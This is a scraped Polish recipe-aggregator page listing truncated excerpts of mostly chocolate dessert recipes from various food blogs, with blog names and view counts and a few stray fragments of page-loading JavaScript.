intensywnie czekoladowego brownie oraz delikatnej masy serowej z wiśniową konfiturą. Wilgotne, pyszne, a na dodatek banalnie proste w przygotowaniu!  Składniki (na ok.16 babeczek) :  brownie - 100 g gorzkiej czekolady 70% - 100 g masła - 100 g mąki (u mnie pełnoziarnista) - 2 jajka - ok. 3-4 czubatych łyżek cukru pudru masa serowa - ok. 500 g sera na serniki  - opakowanie budyniu(...)cukru pudru dodatkowo - dżem wiśniowy/konfitura wiśniowa (u mnie 100% owoców) Przygotowanie :  Piekarnik nagrzać do 180 stopni. W rondelku na małym ogniu rozpuścić masło z połamaną na kostki czekoladą. Odstawić do ostygnięcia. Jajko roztrzepać z cukrem pudrem. Wszystkie składniki wraz z mąką połączyć ze sobą mikserem na niskich obrotach. Czekoladową masę wyłożyć do papilotek na ok. 1/3 wysokości. Wstawić

Kuchnia Ellie
Waniliowe ptasie mleczko - pyszne ciasto 398

mąki pszennej 15 g mąki ziemniaczanej Składniki na piankę: 4 białka 200 g cukru 80 g wody 1 czubata łyżeczka agaru laska wanilii   Polewa czekoladowa: 80 g gorzkiej czekolady 80 ml śmietany kremówki Wykonanie : 2 jajka ubić z cukrem na puszysty biały, kogel-mogel. Na koniec delikatnie do ubitych jajek wmieszać przesiane i wymieszane  mąki - pszenną z ziemniaczaną(...)ostygną na przestudzony biszkopt wyłożyć piankę, wyrównać szpatułką.Wstawić do lodówki na 1-2 godziny do całkowitego stężenia w rondelku podgrzać śmietanę kremówkę, zdjąć z ognia i dodać połamaną czekoladę i mieszać do rozpuszczenia. Przestudzić. Wylać na stężałą piankę i rozsmarować pedzlem. Kroić po stężeniu polewy

Gotuj zdrowo!Guten Appetit!
Czekoladowy budyń jaglany z orzechami 113

Danie można dosłodzić według upodobań. Składniki : 4 łyżki ugotowanej kaszy jaglanej 1/2 szklanki mleka krowiego, koziego lub w wersji dla alergików - sojowego 1 łyżeczka gorzkiego kakao 1 kostka gorzkiej czekolady 1/3 obranego awokado orzechy laskowe ewentualnie 1 łyżeczka miodu. W garnku wymieszać kaszę, mleko, kakao i wrzucić czekoladę. Podgrzewać na małym ogniu ok. 5 minut. Dodać awokado i zmiksować

Chocolate Muffin Blog
Brownie z kaszy jaglanej | wegańskie | bezglutenowe 324

brownie. Skradło całkowicie moje serce i zrobie je jeszcze wiele wiele razy! Składniki:  1 szkl. kaszy jaglanej 3/4 szkl. mleka roślinnego 2 łyżki oleju 1/2 banana 3/4 tablieczki czekolady conajmniej 70% 1 łyżka kakao 1/2 szkl. cukru brązowego 2 łyżeczki proszku do pieczenia Przygotowanie: Kaszę jaglaną 3 razy przepłukać zimną wodą. Gotować na 2 szkl. wody na małym ogniu(...)Odstawić do przestygnięcia. Zblendować razem z mlekiem. Dodać  olej, kakao, cukier i proszek do pieczenia oraz rozgniecionego banana. Czekoladę roztopić w kąpieli wodnej i dolać do masy. Piec w 180 stopniach przez ok. 1 godzinę w 180 stopniach

Czarnawisienka
Ciasto czekoladowe 175

spełnienia marzeń. Gdybym mógł obdarowałbym każdą z Was pysznym ciastem czekoladowym, niestety mogę jedynie podarować Wam przepis. Składniki: 1 i 1/2 szklanki cukru 2 i 1/2 tabliczki gorzkiej czekolady 1/2 łyżeczki proszku do pieczenia 1 łyżka stołowa kakao 2 łyżki stołowe mąki tortowej 2 łyżki  stołowe skórki pomarańczowej 3 łyżki stołowe mielonych orzechów laskowych 6 jaj kostka masła Masło(...)oraz startą czekoladę rozpuścić w kąpieli wodnej, pamiętać o nieustannym mieszaniu składników. Żółtka utrzeć z dodatkiem 3/4 szklanki cukru, a następnie połączyć z ciepłą masą czekoladową. Do tak przygotowanej masy dodać mąkę, kakao, orzechy, skórkę pomarańczową i proszek do pieczenia. Wszystkie składniki dokładnie wymieszać do uzyskania jednolitego ciasta. Białka ubić na sztywną pianę, dodać pozostały cukier i ubijać do momentu

Konrad Gotuje
906. Zebra.. z fasoli. 126

Fasolowa zebra *jasna część z bananem i czekoladą karmelową, ciemna z kakao i gorzką czekoladą Achh, te poniedziałkowe poranki, no nic wyśpię się na religii

More food, love and dreams
Ciasto z kaszy jaglanej 380

łyżki masła 200ml mleczka kokosowego 1/2 szklanki cukru 1 łyżka cukru wanilinowego 1/2 szklanki mąki ziemniaczanej spód 100g herbatników 100g płatków owsianych 90g masła Dodatkowo 100g rozpuszczonej czekolady pestki granatu Sposób przygotowania W rondelku rozpuścić masło, odstawić na bok by przestygło. W misce pokruszyć bardzo drobno herbatniki. Dodać płatki owsiane i rozpuszczone masło i wymieszać. Formę do pieczenia wyłożyć papierem(...)gładką masę. Wsypać cukier, mąkę ziemniaczaną i wymieszać. Przelać masę na spód i piec w temperaturze 180 stopni przez 45 minut. Ostudzone ciasto dać na noc do lodówki. Rozpuszczoną czekoladą polać ciasto i posypać pestkami granatu

pink envelope
Ciasto Kinder Pingui 235

łyżki oleju Masa: 400 ml śmietany 36% pół szklanki cukru pudru (50 g) 3 łyżeczki cukru waniliowego (wanilinowego) 250 g serka mascarpone 2 płaskie łyżki żelatyny Polewa: 200 g czekolady (dałam mleczną, może być gorzka) 50 g masła 3 łyżki wody 1 łyżeczka oleju Przygotowanie Przygotowujemy biszkopt: jajka ubijamy z cukrem. Następnie wlewamy olej i krótko miksujemy i wsypujemy mąkę(...)chwilę miksujemy. Ciasto przelewamy na blaszkę wyłożoną papierem do pieczenia (moja ma wymiary ok 24x24cm). Pieczemy w temperaturze 180 C przez około 30 minut. Upieczony biszkopt studzimy. Przygotowujemy polewę: czekoladę łamiemy na kawałki, wkładamy do rondelka, dodajemy pozostałe składniki i podgrzewamy na małym gazie, cały czas mieszając, aż wszystkie składniki się rozpuszczą. Polewę trochę studzimy. Następnie robimy masę. Żelatynę rozpuszczamy

e-PrzepisyKulinarne
901. Owsianka z marchewką. 156

marchewkowo-kokoswowa owsianka* z suszoną żurawiną (głównie w środku) ;  płatkami migdałowymi i czekoladą karmelową  *z mleczkiem kokosowym  Dawno tu już nie było marchewkowych wyczynów, a przecież marchewka na słodko, już nikogo nie powinna dziwić ;) A tą czekoladę kocham całym sercem ^^ Śnieg... w sumie można się tego było spodziewać, w końcu wiosna niedługo

More food, love and dreams
Kolorowe ciasto z kremem 243

ciasto: 150g cukru 115g mąki pszennej 40g masła 6 jajek Barwniki ½ szklanki herbaty Na krem 500ml śmietany kremówki 30% 2 łyżeczki cukru pudru 2 łyżeczki żelatyny Polewa: 50g gorzkiej czekolady 50g mlecznej czekolady Łyżeczka masła 2 łyżki śmietany kremówki 30% Masło umieszczamy w garnuszku, topimy i odstawiamy do ostygnięcia. Żółtka oddzielamy od białek. Ucieramy je z połową ilości cukru

Kolizje Smaków
Muffinki piernikowe z powidłami 164

sztuk: 3/4 szklanki mąki pszennej 2 łyżeczki cynamonu 1 łyżka przyprawy korzennej do piernika  pół łyżeczki sody 3/4 łyżeczki proszku do pieczenia 120 g masła 55 g gorzkiej czekolady, połamanej na kawałki pół szklanki ciemnego, prawdziwego kakao 2 duże jajka 1/2szklanki jasnego brązowego cukru pół szklanki kwaśnej śmietany 18% 1 słoiczek niezbyt rzadkich powideł śliwkowych  Mąkę, sodę, proszek(...)przyprawy dokładnie wymieszać w misce. Odstawić na bok. W garnuszku roztopić masło. Zdjąć z palnika i wrzucić gorzką czekoladę, odstawić do rozpuszczenia, a następnie wymieszać do uzyskania jednolitej masy. Przelać mieszankę do czystej miski. Dodać kakao i utrzeć drewnianą pałką. Odstawić, aby masa ostygła. Jajka wbić w całości do miski i ubić z cukrem na puszystą pianę. Następnie dodać masę

Chocolate Muffin Blog
Kakaowe pancakes na waniliowym napoju sojowym z posypką czekoladową :) 149

wielbicieli czekolady oraz ciepłych, amerykańskich pancakes'ów. Raz zrobione nie będą z pewnością ostatnimi :) Składniki: 2 łyżki mąki pełnoziarnistej  1 jajko  1/2 łyżeczki proszku do pieczenia 1 kopiasta łyżeczka kakao  2 łyżki waniliowego napoju sojowego Alpro Soya                         Wszystkie składniki wymieszać. Nakładać małe placuszki i smażyć(...)równomiernie z każdej strony. Podawać z jogurtem naturalnym i posiekaną gorzką czekoladą :) Smacznego :) * jeśli patelnia jest ceramiczna lub teflonowa to nie jest konieczne smarowanie jej tłuszczem

Chocolate Muffin Blog
Czekoladowe ciasteczka owsiane z miodem i skórką pomarańczową (bez mąki) 157

Niecodzienne ciasteczka przygotowane bez użycia mąki. Ciekawe w smaku, mocno czekoladowe z aromatyczną skórką pomarańczową... Polecam! Składniki: 75 g posiekanej czekolady gorzkiej 120 g masła 200 g płatków owsianych 1/3 szklanki brązowego cukru 1 łyżka miodu 1 jajko skórka ze sparzonej wrzątkiem pomarańczy (jak przygotować skórkę na dole przepisu tutaj ) Masło, czekoladę, cukier i miód rozpuścić w garnku. Jeszcze ciepłe

Chocolate Muffin Blog
Czekoladowe pancakes z kolorowymi M&M'sami 159

razu po przygotowaniu :) Składniki: 3 łyżki mąki pełnoziarnistej 1 jajko 1/2 łyżeczki proszku do pieczenia 3 łyżki jogurtu naturalnego 1 łyżeczka kakao 1 łyżeczka miodu Dodatkowo: 1 kostka gorzkiej czekolady, roztpiona kolorowe drażetki M&M's   Rozgrzewany patelnię*. W misce umieszczamy wszystkie składniki i łyżką dokładnie mieszamy. Nakładamy małe porcje i smażymy równomiernie z każdej strony.  Gotowe(...)placki smarujemy po wierzchu roztopioną czekoladą i ozdabiamy cukierkami :) Smacznego! *jeśli patelnia nie jest teflonowa lub ceramiczna do smażenia używamy niewielkiej ilości oleju

Chocolate Muffin Blog
Mufinki mocno czekoladowe 126

prostu najlepsze. Zapraszam! Składniki: 250 g mąki pszennej 2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody 2 łyżki ciemnego kakao 170 g cukru pudru 150 g posiekanej czekolady 250 ml mleka 90 ml oleju 1 jajko 1/2 łyżeczki dowolnego aromatu np. waniliowego lub migdałowego  Przygotować dwie miski. W jednej wymieszać suche składniki (również czekoladę), a w drugiej mokre składniki

Chocolate Muffin Blog
Murzynek korzenny z czekoladą 197

jogurtu naturalnego 250 g mąki pszennej 100 g cukru pudru 3 łyżki ciemnego kakao 2,5 łyżeczki sody oczyszczonej 3 łyżeczki przyprawy korzennej do piernika 100 g posiekanej gorzkiej czekolady  Do miski wsypujemy mąkę, kakao, cukier, sodę, czekoladę i przyprawę do piernika, mieszamy. Do innego naczynia wlewamy olej, jogurt i wbijamy jajka i miksujemy na jednolitą masę. Składniki mokre

Chocolate Muffin Blog
Kokosowy budyń jaglany z czekoladą, orzechami włoskimi i żurawiną 116

wstępie zapraszam do wypróbowania przepisu :) Składniki : 4 łyżki ugotowanej kaszy jaglanej 1/2 szklanki mleka krowiego, koziego lub w wersji dla alergików - sojowego 2 łyżki wiórków kokosowych 2 kostki gorzkiej czekolady orzechy laskowe suszona żurawina W garnku wymieszać kaszę, mleko i wiórki. Podgrzewać na małym ogniu ok. 5 minut. Zmiksować na gładki mus. Przelać do miseczki, dodać czekoladę, orzechy i żurawinę

Chocolate Muffin Blog
Bananowe placuszki z czekoladą i orzechami włoskimi 136

cały dzień, aż zgłodniejemy :) Składniki : 4 łyżki mąki pełnoziarnistej 1 jajko 3 łyżki jogurtu naturalnego 1 banan rozgnieciony widelcem 1/2 łyżeczki proszku do pieczenia   Dodatkowo : 3 kostki gorzkiej czekolady, posiekane orzechy włoskie   Rozgrzewany patelnię*. W misce umieszczamy wszystkie składniki i łyżką dokładnie mieszamy. Nakładamy małe porcje i smażymy równomiernie z każdej strony.  Czekoladę roztapiamy w kąpieli wodnej

Chocolate Muffin Blog
Deser ze Smoczym Owocem (Pitają) z Straciatellą i Syropem Malinowym 247

smocze owoce (pitaja) Krem: 300 g słodkiej śmietanki 30% lub 36% fix do ubijania śmietany ok. 3 łyżki cukru pudru 50 g gorzkiej czekolady Syrop: 1/3 szklanki cukru 100 ml soku malinowego Prosty Deser Straciatella z Poziomkami - Sposób przygotowania: Syrop malinowy: Sok podgrzewamy na niewielkim ogniu wraz z cukrem. Gotujemy ok. 6-8 minut dość często mieszając. Studzimy. Smoczy owoc(...)kostkę. Krem:   Śmietanę ubijamy, a gdy tylko zacznie gęstnieć wsypujemy fix oraz ok. 2 łyżki cukru pudru. Część śmietany odkładamy na dekorację, a do reszty wrzucamy startą czekoladę. Wszystko delikatnie mieszamy. Na dno kieliszków wykładamy pokrojony smoczy owoc. Wykładamy ok. 1-2 łyżki kremu straciatella, polewamy syropem, wykładamy kuleczki pitai, dekorujemy "kleksem" bitej śmietany. Całość możemy oprószyć wiórkami czekoladowymi

Słodka Strona
895. Zapomniane banały. 218

Bananowo-kakaowa kasza manna,  z gorzką czekoladą i bananem  tak czekoladowo u mnie ostatnio... bananowo w sumie jest zawsze xd  Niby banalne i proste, ale w takim połączeniu jeszcze u mnie nie było o dziwo tej kaszy :O Swoją drogą zakochałam się w gorzkiej czekoladzie z kawą i kardamonem

More food, love and dreams
Ciasto czekoladowe z truskawkową bezą 145

każdym razie na osłodę proponuje wam pyszne ciasto z najlepszym połączeniem  truskawkowo-czekoladowym Składniki na blaszkę o średnicy 25 cm: ciasto: kostka masła 4 żółtka tabliczka gorzkiej czekolady  140 g cukru 140 g mąki 40 g gorzkiego kakao łyżeczka proszku do pieczenia Beza: 4 białka 180 g cukru pudru łyżka mąki ziemniaczanej 2 łyżki syropu truskawkowego  szczypta(...)czerwonego barwnika spożywczego Wykonanie: Masło rozpuszczamy razem z czekolada i cukrem. Gdy składniki się połączą a cukier rozpuści przelewamy wszystko do miksera.  Dodajemy resztę składników i wszystko dokładnie mieszamy. Gotowe ciasto przekładamy do formy i pieczemy 30 minut w 180 stopniach. Po tym czasie odkładamy ciasto do ostygnięcia i wykonujemy bezę. Białka ubijamy na sztywno.  Pod koniec dodajemy

ciastkarnia na kruchym spodzie
Czekolada z daktyli 144

pomyślał że z daktyli można wyczarować tak pyszną czekoladę. Wystarczy mieć dobrej jakości daktyle, dobre kakao i właściwie tyle. Znowu potwierdza się reguła że w prostocie siła. Zapraszam na najpyszniejszą czekoladę do smarowania jaką jadłam. Do deserów też się przyda, mniam. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Torcik bezowy bez pieczenia 1576

minut. Składniki: 1 duża śmiatana 30 % 2 łyżki cukru pudru 1 śmietan-fix 1 duża dojrzała gruszka 1 paczka  herbatników  kilka bez (przepis tutaj ) mleczka czekolada Okrągło formę ( o średnicy 21 cm) wykładamy folią spożywczą. Na spodzie układamy podwójną warstwę herbatników (nie muszą być w całości, można połamać na większe kawałki). Śmietanę wlewamy do dużej miski. Ubijamy krótko(...)mieszamy. Całość wykładamy do formy wyłożonej herbatnikami. Kilka razy formą uderzamy o blat, aby śmietana przedostała się między ciasteczka. Gładzimy. Na wierzchu układamy delikatnie pokruszone bezy. Na wierzchu posypujemy czekoladą startą na tartce o grubych oczkach. Gotowy torcik wkładamy do lodówki na ok. 1 godzinę. Następnie wyjmujemy z lodówki i delikatnie obkrawamy dookoła nożem i zdejmujemy obręcz. Z powrotem wstawiamy

tojestpyszne.blogspot.com
CIASTO W 8 MINUT – BANANOWE Z CZEKOLADĄ I ORZECHAMI 2721

łyżek * cukier – 6 łyżek * olej – 6 łyżek * proszek do pieczenia – 1 łyżeczka * budyń bananowy ( ew.waniliowy ) – 1 op * jajko – 2 szt GLASAŻ / GLASAGE * czekolada deserowa – 100 g * śmietana kremówka – 60 g * masło – 10 g DODATKOWO: * orzechy SPOSÓB PRZYRZĄDZENIA: CIASTO: Jajka roztrzepujemy, dodajemy mleko i olej. Wsypujemy mąkę, cukier, proszek do pieczenia i budyń(...)Wszystko razem dokładnie mieszamy, wlewamy do miseczki żaroodpornej. Wkładamy na najwyższą moc! mikrofalówki na 6 minut. GLASAŻ / GLASAGE: Śmietanę z masłem zagotowujemy, zalewamy pokruszoną czekoladę. Całość mieszamy do uzyskania jednolitej konsystencji. CAŁOŚĆ: Polewą oblewamy przygotowane ciasto ( ściany lekko wierzch ) i obsypujemy prażonymi orzechami. Smacznego! UWAGA! CIASTO NADAJE SIĘ TYLKO DO PRZYRZĄDZENIA PRZED SAMYM PODANIEM. Później dość szybko wysycha

Ostra na Słodko
Pieguski 188

szczerze, że wyszły przepysznie. Składniki: - 250 g masła; - szklanka cukru; - 1 opakowanie cukru wanilinowego; - 2 jajka; - 6 łyżek mleka; - 45 dag mąki; - 2 łyżeczki proszku do pieczenia; - 25 dag czekolady gorzkiej; Wykonanie: Masło utrzeć z cukrem, dodać cukier wanilinowy. Roztrzepać jajka z mlekiem. Stopniowo dodawać roztrzepane jajka do masła cały czas ubijając. Ucierając dodawać przesianą mąkę z proszkiem do pieczenia(...)Czekoladę drobno posiekać, dorzucić do masy i połączyć z ciastem. Formować małe kulki. Ja moczyłam ręce w wodzie, bo ciasto jest bardzo klejące. Kuleczki spłaszczać na blasze na grubość około 0,5 cm. Układać w odstępach około 4 cm, gdyż ciasteczka bardzo rosną. Piec w temperaturze 190 stopni przez około 15 minut, do uzyskania złotego koloru. Następnie ostudzić, gdyż

dom-agi.pl
Sernik 191

jajek; - szklanka cukru; – dwa opakowania cukru wanilinowego; – łyżka mąki ziemniaczanej; Polewa krówkowa: – 3 większe mleczne krówki; - 1-2 łyżki mleka Polewa czekoladowa: - 80 g mlecznej czekolady; – łyżka mleka Wykonanie: 1. Herbatniki rozdrobnić za pomocą wałka, dodać rozpuszczone masło. Wyłożyć na dno tortownicy tworząc wyższy brzeg (Moja tortownica to około 26 cm). Wstawić do piekarnika rozgrzanego(...)piec 50-55 minut w temp. 170 stopni. Pozostawić w piekarniku do ostygnięcia. 3. W jednym garnuszku roztopić krówki z mlekiem tworząc płynną masę, a w drugim roztopić czekoladę z mlekiem. Polać sernik według upodobań. Smacznego   function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp

dom-agi.pl
Tort chałwowy i pierwsze urodziny bloga 149

łyżki; - 1 opakowanie cukru wanilinowego; - 1/2 szklanki herbaty z sokiem z 1/2 cytryny; - 3/4 szklanki cukru; - 200 g masła; - 200 g chałwy+ chałwa do ozdoby; - 80 g mlecznej czekolady; - 2 łyżki kremówki; - 200 g konfitury wiśniowej; Wykonanie: Biszkopt: 6 jajek oddzielić żółtka od białek. Białka ubić na pianę stopniowo dodając 1/2 szklanki cukru. Miksując na małych obrotach dodawać stopniowo(...)pokruszoną chałwę. Płaty biszkoptu nasączyć herbatą, wyłożyć połowę konfitury wiśniowej i połowę kremu. Przykryć kolejnym płatem, wyłożyć resztę konfitury i masy. Krem przykryć ostatnim płatem. Ozdobić polewą czekoladową (roztopić czekoladę z dodatkiem śmietany kremówki) i chałwą. Smacznego function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp

dom-agi.pl
White chocolate watermelon n strawberry 174

Składniki: na 4 porcje 1kg  arbuza 25 dkg truskawek tabliczka białej czekolady 50 ml soku z arbuza 50 ml rumu lub innej mocnego trunku Przygotowanie: arbuza kroimy w kosteczki, truskawki myjemy, oczyszczamy i kroimy w plasterki. przygotowujemy sos czekoladowy- czekoladę roztapiamy w kąpieli wodnej, kiedy będzie płynna zestawiamy z ognia dolewamy soku z arbuza i rumu. mieszamy do uzyskania

Luźna Kuchnia
Tarta czekoladowa 128

żółtka 2 łyżka zimnego mleka lub wody Nadzienie: 1 szkl mleka zagęszczonego 2 łyżki brązowego cukru szczypta soli 0,5 kostki masła niesolonego 2 łyżki gęstej śmietany 3 tabliczki czekolady dobrej jakości-połamanej Przygotowanie: Składniki na ciasto rozcieramy palcami, tak aby powstała kruszonka, zawijamy w folię spożywczą  i wstawiamy do lodówki na minimum 1 godzinę. Rozgrzewamy piekarnik(...)wałek i rozwijamy na formę. Ciasto dokładnie dociskamy do formy, nakłuwamy widelcem. Pieczemy na złoty kolor. W czasie pieczenia przygotowujemy nadzienie- mleko gotujemy z cukrem i masłem oraz połamaną czekoladą. Studzimy, dodajemy śmietanę, odstawimy w chłodne miejsce, aby masa zgęstniała. Wylewamy na ostudzony spód- podajemy oprószoną wiórkami kokosowymi. Smacznego

Luźna Kuchnia
Karmelizowane udka z kaczki na modrej kapuście z jabłkami 173

Składniki: na 6 porcji 6 kaczych udek 4 jabłka 2 cebule 1 mała główka czerwonej kapusty 0,5 kubka cukru 1 tabliczka czekolady karmelovej 0,5 kubka octu balsamico 2 owoce granatu 2 listki laurowe sól pieprz 0,5 kubka śmietany 18% Przygotowanie: Jabłka myjemy, kroimy w kostkę, cebulę obieramy siekamy drobniutko, kapustę szatkujemy, wszystko wrzucamy do miski(...)widelcem. układamy na blaszce do pieczenia i zapiekamy ok 15- 20 minut Cukier wsypujemy na suchą patelnię, równomiernie rozsypujemy i na małym ogniu karmelizujemy, po czym podlewamy octem balsamicznym. Czekoladę topimy w kąpieli wodnej, dolewamy śmietanę. Dolewamy do karmelizowanego cukru . Udka smarujemy karmelem. Zapiekamy 10-15 minut. Po czym dorzucamy jabłka wymieszane z cebulą, granatem i kapustą. Pieczemy przez kolejne

Luźna Kuchnia
Pierniczki w czekoladzie 161

szklanki cukru 1,5 łyżeczki sody oczyszczonej 1/2 torebki przyprawy piernikowej 1 łyżka  margaryny Palma w złotym opakowaniu 1 średnie jajko 1/2 kubka lekko ciepłego mleka 1 tabliczka czekolad 70% kakao małe opakowanie kremówki Przygotowanie: Mąkę przesiewamy do miski, wlewamy gorący miód i mieszamy. Dosypujemy kolejno cukier, sodę, przyprawy, a gdy masa lekko przestygnie - masło i jajko Dolewając stopniowo(...)dekoracji można użyć samego lukru lub lukru wymieszanego z barwnikiem spożywczym. Zamiast barwnika spożywczego można użyć soku z granatu lub z buraka. Pierniczki najlepsze jednak są polane czekoladą, roztopioną w kąpieli wodnej i wymieszaną ze śmietaną:) P.S Pierniczki po upieczeniu są miękkie i pyszne - można je więc piec w dniu podawania np. w Wigilię i będą cały dzień miękkie

Luźna Kuchnia
Bułeczki z czekoladą 150

szklanka ciepłego mleka   100g roztopionego masła   0,5 szklanki cukru   1 łyżeczka ekstraktu z wanilii   1 jajko   2 żółtka   szczypta soli   tabliczka czekolady   jajko Przygotowanie:   Drożdże kruszymy, dosypujemy łyżkę cukru i rozcieramy. Do drożdży dodajemy 1 łyżkę mąki i pół szklanki mleka. Mieszamy aż składniki połączą się. Przykrywamy ściereczką i odstawiamy(...)dłoni. Przykrywamy  ściereczką i odstawiamy na około godziny aż wyrośnie. Po tym czasie ciasto dzielimy na niewielkie , ale równe części. Spłaszczamy w dłoniach kładziemy po kostce lub dwóch czekolady, sklejamy i formujemy w dłoniach bułeczki. Gotowe bułki układamy na blasze, smarujemy roztrzepanym jajkiem  i pozostawiamy jeszcze na chwilę. W tym czasie włączamy piekarnik na 160 C, gdy się

Amatorka kuchenna
Bezglutenowe ciastka owsiane z bakaliami i czekoladą 161

szklanki bezglutenowych płatków owsianych (błyskawicznych) 200 ml mleka 2 łyżki roztopionego oleju kokosowego 1/4 szklanki mąki gryczanej łyżka cynamonu łyżka wiórków kokosowych łyżka suszonej żurawiny łyżka posiekanej gorzkiej czekolady 3 suszone daktyle 3 suszone figi 2 łyżeczki syropu z agawy Płatki zalewamy gorącym mlekiem, dodajemy rozpuszczony olej kokosowy. Mieszamy i odstawiamy na 10-15 minut. Dodajemy mąkę wymieszaną z cynamonem(...)wiórkami, syrop z agawy oraz posiekane bakalie i czekoladę. Zagniatamy i formujemy około 12 okrągłych i płaskich (ok.1 cm) ciastek. Układamy je na blaszce wyłożonej papierem do pieczenia. Pieczemy w 180 stopniach około 20-25 minut. Smacznego :) function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp

Mienta blog
Słodkie środy - czekoladowe babeczki podane z jagodami 94

pracochłonne aczkolwiek czas jest wydłużony przez ich zamrażanie. Jednak warto się pokusić i przygotować je dla swoich najbliższych.  Czekoladowe babeczki podane z jagodami  SKŁADNIKI: 150 g gorzkiej czekolady 2 łyżki mleka 30 g mąki pszennej + do obsypania kokilków 100 g cukru pudru + do posypania torcików 1 łyżeczka cukru waniliowego 150 g masła + do wysmarowania kokilków 2 jajka(...)łyżek jagód PRZYGOTOWANIE: Czekoladę rozpuszczamy w kąpieli wodnej, następnie dodajemy masło cukier waniliowy i cukier puder, wszystko dokładnie rozpuszczamy dodajemy mleko i mieszamy. Odstawiamy do ostygnięcia. Kiedy całość ostygnie dodajemy jajka i mąkę i energicznie mieszamy. Kokilki smarujemy masłem i oprószamy mąką, wypełniamy je czekoladowym ciastem do 3/44 wysokości. Wstawiamy do zamrażalnika na minimum 2 godziny. Pieczemy w nagrzanym

Kulinarny Świat Konczi i Szpileczki
Słodkie środy - Ciasteczkowe laurki na Dzień Babci 112

szklanki mąki 1 jajko 1/2 łyżeczki przyprawy do piernika lub cynamonu 1/3 łyżeczki proszku do pieczenia 50 g masła 2 łyżki kefiru   1/3 szklanki cukru pudru czekolada gorzka lukier z białka i cukru pudru do pisania PRZYGOTOWANIE:  Mąkę mieszamy z proszkiem do pieczenia, przyprawą i cukrem pudrem.   Dodajemy masło i drobno siekamy. Następnie dodajemy jajko, kefir(...)brystolu, przyłożyłam do ciasta i wycięłam naokoło. Ciastka układamy na blaszce wyłożonej papierem do pieczenia i pieczemy w nagrzanym do ok 180 stopni piekarniku ok 13 - 15 minut. Czekoladę roztapiamy i maczamy w niej ciastka, po czym lukrem piszemy życzenia

Kulinarny Świat Konczi i Szpileczki
Anielskie ciasto czekoladowe z polewą i prażonymi orzechami / Chocolate angel food cake with ganache and toasted hazelnuts 244

łyżeczki proszku do pieczenia 1/2 łyżeczki soli 1 łyżeczka ekstraktu z wanilii 1 szklanka orzechów laskowych (lub innych), posiekanych i uprażonych na suchej patelni 220 g gorzkiej czekolady z minimum 50% zawartością kakao, posiekanej 2 łyżki miodu 1/2 szklanki śmietanki 36% Przygotowanie: Włącz piekarnik i ustaw go na 140 oC. Przesiej 1/4 szklanki cukru wraz z mąką i kakao(...)piekarnika, odwróć formę do góry nogami (jak tutaj ) na 40 minut, po czym najlepiej za pomocą ostrego noża wyjmij ciasto z formy. Przed podaniem, rozpuść w kąpieli wodnej czekoladę, po czym wmieszaj miód i śmietankę. Podawaj ciasto pokrojone w grube plastry, polane polewą czekoladową i posypane prażonymi orzechami. Smacznego! English version Chocolate angel food cake with ganache and toasted hazelnuts

karmelowy
Pampuchy. Zamiennik dla pączków 175

sztuk Składniki: 300g mieszanki mąki pszennej z otrębami pszennymi; 150 ml mleka 2%; 25g drożdży; 1 łyżka cukru brązowego; 1 jajko; 1 łyżka oleju kokosowego. Dodatkowo: 2 paski czekolady gorzkiej; łyżka mleka 2%; 2 sztuki kiwi; imbir. Zaczynamy.            Ciasto na pampuchy robię dokładnie tak samo, jak na pierogi z pieca . Zaczynam od zrobienia zaczynu(...)ponownie daję im spokój na 30 minut. Następnie nastawiam parowar na 20 minut i wkładam ciasto....  GOTOWE ! Dodatkowo miksuję kiwi z odrobiną imbiru, a w kąpieli wodnej rozpuszczam czekoladę z mlekiem.  Zrobione. SKUSISZ SIĘ

Życie na widelcu
Tort śmietankowo- czekoladowy z malinami 173

upieczony upuszczamy go na podłogę z wysokości około 60 cm, studzimy w w uchylonym piekarniku.  Krem: 500 ml śmietany kremówki 36 % 500 gram serka mascarpone 100 gram gorzkiej czekolady  około 300 gram malin  3-4 łyżki cukru pudru Wykonanie: Kremówkę ubić na sztywno (po przekręceniu miski ma z niej nie wypadać), pod koniec dodać przesiany cukier puder(...)oraz serek mascarpone, wymieszać. Na tarce o grubych oczkach zetrzeć czekoladę i dodać do masy, wymieszać.  Wykonanie tortu: Wystudzony biszkopt przekroić na 3 blaty. Każdy z nich delikatnie nasączyć likierem śmietankowym bądź sokiem malinowym. Na pierwszy biszkopt położyć 1/4 przygotowanego kremu a na to ściśle ułożyć maliny, nałożyć kolejną 1/4 porcję kremu i przykryć drugim biszkoptem. Na drugi biszkopt

Krakowskie smaki Ani
Chałwowy sernik z wiśniami 231

cukru  1/2 kostki masła 3 jajka 1/2 szklanka mleka 2 budynie waniliowe łyżka mąki ziemniaczanej 100 gram chałwy waniliowej 2 szklanki wiśni z kompotu  Ponadto:  mleczna czekolada 100 gram chałwy waniliowej Wykonanie: Ser zmielić dwukrotnie. Masło rozpuścić w garnku dodać do niego ser, cukier, roztrzepane jajka i gotować około 10 minut cały czas mieszając. Kolejno do masy(...)połączenia się składników. Masę serowa wylewamy na przygotowany wcześniej biszkopt. Wstawiamy do lodówki do stężenia sera na minimum 5 godzin a najlepiej na całą noc. Po tym czasie rozpuszczamy czekoladę w kąpieli wodnej i polewamy nią ciasto, wierzch ciasta posypujemy pokrojona na drobne kawałki chałwą. Smacznego

Krakowskie smaki Ani
Pączki 247

